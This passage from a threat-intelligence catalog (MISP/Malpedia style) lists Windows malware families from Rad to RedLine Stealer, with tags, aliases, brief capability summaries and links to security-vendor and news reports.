https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d[https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d]
https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/

Rad

The tag is: *misp-galaxy:malpedia="Rad"*

Rad is also known as:

Table 2907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rad
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

Radamant

The tag is: *misp-galaxy:malpedia="Radamant"*

Radamant is also known as:

Table 2908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant

RadRAT

The tag is: *misp-galaxy:malpedia="RadRAT"*

RadRAT is also known as:

Table 2909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

RagnarLocker (Windows)

The tag is: *misp-galaxy:malpedia="RagnarLocker (Windows)"*

RagnarLocker (Windows) is also known as:

Table 2910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/
https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://seguranca-informatica.pt/ragnar-locker-malware-analysis/
https://securelist.com/targeted-ransomware-encrypting-data/99255/
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf
https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information
https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html
https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html
https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.ic3.gov/Media/News/2022/220307.pdf
https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/
https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/
https://www.acronis.com/en-sg/articles/ragnar-locker/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/
https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/AltShiftPrtScn/status/1403707430765273095
https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf
https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/

Ragnarok

According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: *misp-galaxy:malpedia="Ragnarok"*

Ragnarok is also known as:

Table 2911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok
https://news.sophos.com/en-us/2020/05/21/asnarok2/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw
https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

Raindrop

Raindrop is a loader for Cobalt Strike that was observed in the SolarWinds attack.

The tag is: *misp-galaxy:malpedia="Raindrop"*

Raindrop is also known as:

Table 2912. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.mandiant.com/resources/unc2452-merged-into-apt29

https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515

Rakhni

The tag is: *misp-galaxy:malpedia="Rakhni"*

Rakhni is also known as:

Table 2913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni
https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/

Rambo

The tag is: *misp-galaxy:malpedia="Rambo"*

Rambo is also known as:

- brebsd

Table 2914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo
https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2017-02-15-the-rambo-backdoor.md
https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html

Ramdo

The tag is: *misp-galaxy:malpedia="Ramdo"*

Ramdo is also known as:

Table 2915. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo

Ramnit

The tag is: *misp-galaxy:malpedia="Ramnit"*

Ramnit is also known as:

- Nimnul

Table 2916. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/
https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89
https://muha2xmad.github.io/unpacking/ramnit/
https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html
http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://www.youtube.com/watch?v=l6ZunH6YG0A
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://research.checkpoint.com/ramnits-network-proxy-servers/
https://artik.blue/malware4

https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail
http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html
https://www.youtube.com/watch?v=N4f2e8Mygag
http://www.secureworks.com/research/threat-profiles/gold-fairfax
https://redcanary.com/resources/webinars/deep-dive-process-injection/

Ramsay

The tag is: *misp-galaxy:malpedia="Ramsay"*

Ramsay is also known as:

Table 2917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.antiy.cn/research/notice&report/research_report/20200522.html
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/
https://www.youtube.com/watch?v=SKIu4LqMrns
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html
https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/

Ranbyus

The tag is: *misp-galaxy:malpedia="Ranbyus"*

Ranbyus is also known as:

Table 2918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus
http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html
https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/

https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/
https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf

Ranion

Ransomware.

The tag is: *misp-galaxy:malpedia="Ranion"*

Ranion is also known as:

Table 2919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranion
https://www.fortinet.com/blog/threat-research/ranion-ransomware-quiet-and-persistent-raas

Ranscam

The tag is: *misp-galaxy:malpedia="Ranscam"*

Ranscam is also known as:

Table 2920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam
http://blog.talosintel.com/2016/07/ranscam.html

Ransoc

The tag is: *misp-galaxy:malpedia="Ransoc"*

Ransoc is also known as:

Table 2921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles

RansomEXX (Windows)

RansomExx is a ransomware family that targeted multiple companies starting in mid-2020. It shares commonalities with Defray777.

The tag is: *misp-galaxy:malpedia="RansomEXX (Windows)"*

RansomEXX (Windows) is also known as:

- Defray777
- Ransom X

Table 2922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx
https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://github.com/Bleeping/Ransom.exx
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware

https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html
https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://www.youtube.com/watch?v=qxPXxWMI2i4

Ransomlock

The tag is: *misp-galaxy:malpedia="Ransomlock"*

Ransomlock is also known as:

- WinLock

Table 2923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock
https://forum.malekal.com/viewtopic.php?t=36485&start=
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2

SNC

Ransomware SNC is a ransomware who encrypts files and asks for a variable amount of Bitcoin before releasing the decryption key to your files. The threat actor asks to be contacted for negotiating the right ransom fee.

The tag is: *misp-galaxy:malpedia="SNC"*

SNC is also known as:

Table 2924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomware_snc

https://yomi.yoroi.company/report/5deea91bac2ea1dcf5337ad8/5deead588a4518a7074dc6e6/overview

Rapid Ransom

The tag is: *misp-galaxy:malpedia="Rapid Ransom"*

Rapid Ransom is also known as:

Table 2925. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom
https://twitter.com/malwrhunterteam/status/977275481765613569
https://twitter.com/malwrhunterteam/status/997748495888076800
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://exchange.xforce.ibmcloud.com/collection/GuessWho-Ransomware-A-Variant-of-Rapid-Ransomware-ef226b9792fa4c1e34fa4c587db04145
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do

RapidStealer

The tag is: *misp-galaxy:malpedia="RapidStealer"*

RapidStealer is also known as:

Table 2926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html

Rarog

The tag is: *misp-galaxy:malpedia="Rarog"*

Rarog is also known as:

Table 2927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog
https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/
https://tracker.fumik0.com/malware/Rarog

rarstar

The tag is: *misp-galaxy:malpedia="rarstar"*

rarstar is also known as:

Table 2928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Raspberry Robin

Worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated domains and download a malicious DLL.

The tag is: *misp-galaxy:malpedia="Raspberry Robin"*

Raspberry Robin is also known as:

- LINK_MSIEXEC
- QNAP-Worm
- RaspberryRobin

Table 2929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
https://redcanary.com/blog/raspberry-robin/
https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices
https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm

Ratankba

This is a backdoor that establishes persistence using the Startup folder. It communicates to its C&C server using HTTPS and a static HTTP User-Agent string. QUICKRIDE is capable of gathering information about the system, downloading and loading executables, and uninstalling itself. It was leveraged against banks in Poland.

The tag is: *misp-galaxy:malpedia="Ratankba"*

Ratankba is also known as:

- QUICKRIDE

Table 2930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html
https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html
https://twitter.com/PhysicalDrive0/status/828915536268492800
https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
https://content.fireeye.com/apt/rpt-apt38
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0

RatankbaPOS

The tag is: *misp-galaxy:malpedia="RatankbaPOS"*

RatankbaPOS is also known as:

- RATANKBAPOS

Table 2931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
http://blog.trex.re.kr/3

RatSnif

The tag is: *misp-galaxy:malpedia="RatSnif"*

RatSnif is also known as:

Table 2932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratsnif
https://threatvector.cylance.com/en_us/home/threat-spotlight-ratsnif-new-network-vermin-from-oceanlotus.html
https://www.secureworks.com/research/threat-profiles/tin-woodlawn

RawPOS

The tag is: *misp-galaxy:malpedia="RawPOS"*

RawPOS is also known as:

Table 2933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos
http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite
https://www.youtube.com/watch?v=fevGZs0EQu8
https://threatvector.cylance.com/en_us/home/rawpos-malware.html

Razy

Razy is a malware family which uses a malicious browser extension in order to steal cryptocurrency.

The tag is: *misp-galaxy:malpedia="Razy"*

Razy is also known as:

Table 2934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.razy
https://securelist.com/razy-in-search-of-cryptocurrency/89485/

RC2FM

A family identified by ESET Research in the InvisiMole campaign.

The tag is: *misp-galaxy:malpedia="RC2FM"*

RC2FM is also known as:

Table 2935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal

RCS

The tag is: *misp-galaxy:malpedia="RCS"*

RCS is also known as:

- Crisis
- Remote Control System

Table 2936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.f-secure.com/documents/996508/1030745/callisto-group
https://www.vice.com/en_us/article/jgxvdx/jan-marsalek-wirecard-bizarre-attempt-to-buy-hacking-team-spyware
https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf
http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html

RCtrl

The tag is: *misp-galaxy:malpedia="RCtrl"*

RCtrl is also known as:

Table 2937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/

rdasrv

The tag is: *misp-galaxy:malpedia="rdasrv"*

rdasrv is also known as:

Table 2938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

RDAT

The tag is: *misp-galaxy:malpedia="RDAT"*

RDAT is also known as:

- GREYSTUFF

Table 2939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf

ReactorBot

Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.

The tag is: *misp-galaxy:malpedia="ReactorBot"*

ReactorBot is also known as:

Table 2940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html

http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under

Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

The tag is: *misp-galaxy:malpedia="Reaver"*

Reaver is also known as:

Table 2941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

RecordBreaker

This malware is a successor to Raccoon Stealer (also referred to as Raccoon Stealer 2.0), which is however a full rewrite in C/C++.

The tag is: *misp-galaxy:malpedia="RecordBreaker"*

RecordBreaker is also known as:

Table 2942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker
https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family
https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/

https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/
https://socprime.com/blog/raccoon-stealer-detection-a-novel-malware-version-2-0-named-recordbreaker-offers-hackers-advanced-password-stealing-capabilities/
https://d01a.github.io/raccoon-stealer/

RedAlpha

The tag is: *misp-galaxy:malpedia="RedAlpha"*

RedAlpha is also known as:

Table 2943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha
https://www.recordedfuture.com/redalpha-cyber-campaigns/

RedLeaves

The tag is: *misp-galaxy:malpedia="RedLeaves"*

RedLeaves is also known as:

- BUGJUICE

Table 2944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves
https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.carbonblack.com/2017/05/09/carbon-black-threat-research-dissects-red-leaves-malware-leverages-dll-side-loading/
https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.accenture.com/t20180423T055005Z_w_/se-en/*acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
http://blog.macnica.net/blog/2017/12/post-8c22.html
https://community.rsa.com/community/products/netwitness/blog/2017/05/03/hunting-pack-use-case-redleaves-malware
https://www.jpcert.or.jp/magazine/acreport-redleaves.html
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf

http://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://www.accenture.com/t20180423T055005Z*w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z*w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://www.us-cert.gov/ncas/alerts/TA17-117A
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html

RedLine Stealer

RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.

The tag is: *misp-galaxy:malpedia="RedLine Stealer"*

RedLine Stealer is also known as:

Table 2945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
https://muha2xmad.github.io/malware-analysis/fullredline/
https://www.netskope.com/blog/redline-stealer-campaign-using-binance-mystery-box-videos-to-spread-github-hosted-payload
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-invaders-of-the-information-snatchers.html
https://securityscorecard.pathfactory.com/all/a-detailed-analysis
https://securityscorecard.com/research/detailed-analysis-redline-stealer
https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer
https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/
https://ke-la.com/information-stealers-a-new-landscape/

https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md
https://www.bleepingcomputer.com/news/security/fake-valorant-cheats-on-youtube-infect-you-with-redline-stealer/
https://www.zscaler.com/blogs/security-research/making-victims-pay-infostealer-malwares-mimick-pirated-software-download
https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns
https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/
https://www.atomicmatryoshka.com/post/cracking-open-the-malware-pi%C3%B1ata-series-intro-to-dynamic-analysis-with-redlinestealer
https://go.recordedfuture.com/hubfs/reports/mtp-2021-1014.pdf
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://blog.netlab.360.com/purecrypter
